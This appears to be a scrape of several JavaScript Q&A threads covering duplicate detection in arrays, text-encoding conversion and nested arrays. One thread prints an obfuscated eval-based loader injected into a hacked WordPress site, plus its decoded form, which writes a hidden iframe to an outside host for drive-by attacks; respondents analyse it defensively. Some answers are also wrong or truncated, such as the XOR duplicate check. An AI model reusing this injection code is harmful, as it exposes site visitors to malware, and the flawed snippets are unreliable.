I was wondering how do I make a function that would return true if there's a pair in an array of 6 numbers? I tried to use this (the sortThingfunction is sorting the numbers array)
let arr = [];
this.sortThing();
for (let i = 0; i < numbers.length; i++)
{
for (let j = i + 1; j < numbers.length; j++)
{
while (arr.length < 5)
{
if (arr.push(numbers[i] == numbers[j]))
return numbers;
i++;
}
}
}
I suggest sorting the array ascending, then walking down the array once looking for any array element to repeat:
var numbers = [1, 5, 3, 7, 3];
numbers.sort((a, b) => a - b);
var pair = false;
var last = numbers[0];
for (var i=1; i < numbers.length; ++i) {
if (last == numbers[i]) {
pair = true;
break;
}
last = numbers[i];
}
if (pair) {
console.log("Array has a pair number: " + last);
}
else {
console.log("No pair was found in the array.");
}
var numbers = [1,2,3,4]
var firstelement
var checker = false
while (numbers.length>0) {
firstelement = numbers[0]
numbers.shift()
if(numbers.indexOf(firstelement) !== -1){
checker = true
break
}
}
console.log(checker)
const hasDuplicates = (arr) => {
const set = new Set(arr);
return set.size !== arr.length;
}
console.log(hasDuplicates([1, 2, 3, 4, 5, 4, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247]))
with a 6 digit array is easy to find duplicated using XOR
const numbers = [1, 5, 3, 7, 3];
let y;
for(const x of numbers){
y ^= x
}
console.log(y)
Bash alternative (shell set to UTF8):
Input:
in.json
$ file -I in.json
in.json: text/plain; charset=utf-8
{"it-it":"Città"}
Bash command I need the JS alternative for:
$ iconv -f utf8 -t latin1 in.json > out.json
out.json
$ file -I in.json
out.json: text/plain; charset=iso-8859-1
{"it-it":"Citt?"}
What Javascript sees in browser for in.json when read as base64 from an input type="file" (despite content-type and script encoding set to utf8):
{"it-it":"Città "}
What Javascript sees in browser for out.json:
{"it-it":"Città"}
Question - how can I make in the most native Javascript way to make most modern browsers convert this utf8 string
({"it-it":"Città "} as latin1 and {"it-it":"Città"} as utf8)
to a latin1 string?
I prefer a native solution, or worst case JQuery, please try not to solve it with an npm + node dependency hell.
P.s.: I only need to support the most modern browsers, this is for an admin-only page.
Below I've created an array with iso-8859-1version of CittÃ, and then used TextDecoder to decode it,.
So if you can get the binary version of the JSON, this should be able to convert for you.
//CittÃ
var latinSource = new Uint8Array([67, 105, 116, 116, 195]);
var tc = new TextDecoder("iso-8859-1");
console.log(tc.decode(latinSource));
For me, 'new TextDecoder("iso-8859-1")' not working...

var tc = new TextDecoder("iso-8859-1");

I see, the result, it's not a latin1 string, because this contains character '€'.

My friends word press site was attacked and a bunch of php files injected with some eval statements, which i've inflated and decoded, but it has lead me to the below javascript.
Anyone any ideas how to deobfuscate this so we can read what it says?
ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{d=document}catch(agdsg){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(102,116,108,96,116,104,109,107,32,102,112,94,40,96,42,95,41,122,112,98,116,116,112,107,32,76,95,113,104,45,100,105,111,110,112,37,77,96,114,101,46,113,95,107,100,110,107,37,41,41,38,95,45,96,41,46,41,40,41,94,59,124,11,7,102,116,108,96,116,104,109,107,32,113,113,37,41,122,112,98,116,116,112,107,32,76,95,113,104,45,112,94,110,99,109,106,40,40,44,113,111,82,114,111,105,109,101,37,51,53,39,43,115,116,96,112,116,113,103,107,103,39,51,38,59,124,11,7,105,101,38,107,97,117,103,100,97,115,109,111,46,98,109,108,107,104,99,66,110,96,96,105,101,99,39,120,13,9,7,115,97,113,30,112,116,109,107,58,114,114,38,38,59,12,8,6,118,96,112,29,117,96,30,58,32,109,95,115,105,102,95,113,111,113,44,114,115,100,112,62,103,100,108,113,59,12,8,6,118,96,112,29,117,113,106,29,61,31,98,108,99,116,107,98,110,115,44,105,111,98,95,113,105,110,108,43,104,113,99,99,59,12,8,6,105,101,38,114,114,107,44,102,110,99,99,117,79,101,38,36,97,99,107,102,110,38,39,58,61,44,47,29,38,37,30,114,97,45,103,107,100,100,118,76,102,39,37,84,105,109,98,108,119,114,37,38,33,60,43,46,32,37,36,29,40,116,95,43,105,109,98,98,120,78,100,37,39,76,81,70,69,38,39,30,61,44,47,121,124,116,95,43,105,109,98,98,120,78,100,37,39,78,110,98,114,96,37,38,33,60,43,46,41,40,121,10,10,8,7,97,111,98,115,106,101,109,114,43,119,113,103,113,101,39,37,57,115,115,119,105,101,61,44,112,39,42,113,113,110,108,41,36,32,122,30,109,111,114,103,113,105,110,108,55,97,97,113,108,108,116,114,98,59,31,106,98,102,115,56,42,39,42,101,111,97,39,52,45,48,43,47,45,48,47,39,40,39,111,118,56,32,115,109,109,58,44,37,40,103,113,95,37,54,47,46,41,49,47,46,45,41,42,37,109,120,58,30,122,60,46,113,113,121,107,99,59,32,59,98,102,118,31,97,105,97,114,113,58,34,114,37,40,115,115,108,106,43,38,32,59,60,104,100,111,97,108,99,29,115,113,97,58,34,103,114,113,112,57,45,44,112,116,106,105,100,110,117,107,108,96,119,112,46,104,108,99,111,46,95,97,47,101,99,98,100,45,110,101,112,33,30,116,105,99,114,101,61,33,37,40,103,113,95,37,51,47,46,41,54,47,46,38,43,38,32,29,104,100,103,100,104,115,59,31,39,42,101,111,97,39,49,45,48,43,52,45,48,40,41,36,34,61,58,44,105,101,112,94,109,100,60,57,47,99,103,115,62,38,39,56,13,9,7,122,13,9,7,115,97,113,30,98,120,111,59,107,101,118,30,65,97,115,99,37,41,58,99,117,112,45,113,98,116,67,95,113,101,39,99,117,112,45,101,98,116,67,95,113,101,39,39,40,55,40,57,10,10,8,103,99,40,99,109,96,117,108,99,107,116,45,97,108,111,106,103,98,46,104,108,97,101,119,77,99,40,38,93,92,117,115,107,99,114,60,37,38,61,60,43,46,41,122,98,108,99,116,107,98,110,115,44,96,111,110,105,102,101,60,37,92,95,116,114,106,102,113,59,36,43,113,113,37,41,42,37,56,32,100,118,109,105,113,99,112,61,38,41,98,120,111,44,113,111,70,75,81,83,115,112,102,110,102,38,38,43,38,57,29,112,96,114,101,61,46,37,56,125,12,8,122);}w=f;s=[];for(i=0;-i+800!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}
The hidden code is this:
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled){
var stnm=rs();
var ua = navigator.userAgent;
var url = document.location.href;
if(url.indexOf('admin')==-1 && ua.indexOf('Windows')!=-1 && (ua.indexOf('MSIE')!=-1||ua.indexOf('Opera')!=-1)){
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://xxxxxxxxxxxx.info/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
}
var exp=new Date();exp.setDate(exp.getDate()+7);
if(document.cookie.indexOf('__utmfr=')==-1){document.cookie='__utmfr='+rs()+'; expires='+exp.toGMTString()+'; path=/';}
}
It's stored in the f array as simple ascii, but every four characters are incremented by 0, 1, 2, and 3 repeatedly in a simple attempt to obfuscate the code.
Looks like this adds a bit of code to every webpage to display a malicious url in an i-frame.
First, feed it through http://jsbeautifier.org/.
You now can easily deduce that v becomes the string "eval", and e is the eval function. Also, you can run the loop that builds the string from the array items to see what is does:
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled){
var stnm=rs();
var ua = navigator.userAgent;
var url = document.location.href;
if(url.indexOf('admin')==-1 && ua.indexOf('Windows')!=-1 && (ua.indexOf('MSIE')!=-1||ua.indexOf('Opera')!=-1)){
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://pulldownlays.info/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
}
var exp=new Date();exp.setDate(exp.getDate()+7);
if(document.cookie.indexOf('__utmfr=')==-1){document.cookie='__utmfr='+rs()+'; expires='+exp.toGMTString()+'; path=/';}
}
Now it is quite obvious: It sets a random identifier cookie, and for every IE/Opera user on Windows who does not browse an "admin" url, it creates an iframe which is positioned off-screen. The iframe likely contains some drive-by-download of malware.
I just pasted this into http://jsbeautifier.org/... Good luck!

How do i create from the following code ?

this code generate a one dimensional array from 12 to 12 , 155 to 175 and 177 to 255
RESULT : [13 ,.....,120 , 155 ,.......,175 , 177 ,.........,255]
what i want to do is create another array in this array to get
[[13....120] , [155,.....,175] , [175,.....,255]] ;

var y = [120, 175, 255];

I'm not quite following exactly what you want to do, but here's some info which should help.
JavaScript doesn't have multi-dimensional arrays. (In fact, JavaScript arrays aren't really arrays at all.) But you can have an array which has arrays as element values. So:
var i, j, a, sub;
// Create the main array
a = [];
// This loop creates the outermost level
for (i = 0; i < 10; ++i) {
// Here we create the array to store in a[i]:
sub = [];
// This loop builds it up
for (j = 0; j < 20; ++j) {
sub[j] = "I'm the element at a[" + i + "][" + j + "]"; // Just a sample value
}
// Remember this sub-array
a[i] = sub;
}
console.log("a[1][12] = " + a[1][12]); // "I'm the element at a[1][12]"
Key notes on the above:
You have to create each of the subordinate arrays in the loop
You don't have to pre-allocate or anything like that, you can extend an array just by assigning to an element. (push also works. It's a teeny bit slower, but that usually doesn't matter.)
Something like this should work. I also used a for loop to generate the z array instead of writing it out manually.
var x = [12, 155, 177], y = [120, 175, 255], z = [], value = [];
// generate z, 1 to 300
for(var i = 1; i<=300; i++) {
z.push(i);
}
for(var i = 0, len = x.length; i < len; i++) {
var arr = [];
for(var j = 0; j < y[i]; j++) {
arr.push(z[j]);
}
value.push(arr);
}
The javascript function charCodeAt() will convert a character to the UNICODE numeric.
If, instead, I want to find the windows-1252 numeric code of a character, how can I do that?
Thanks,

use for example as String.fromCharCode(winEncToUni[65]) (returns A)
or perhaps Unicode to Windows1251?
function toWindows1252(string, replacement)

}
else
{

if (typeof ret[i] === "undefined")
{
ret[i] = replacement;

}
}

I have shortened the table quite much: the first half of the codes (0x00-0x7F) are equal in all the codepages (and in Unicode), and the sequence 0xA0-0xFF are equal in Unicode and Windows-1252.
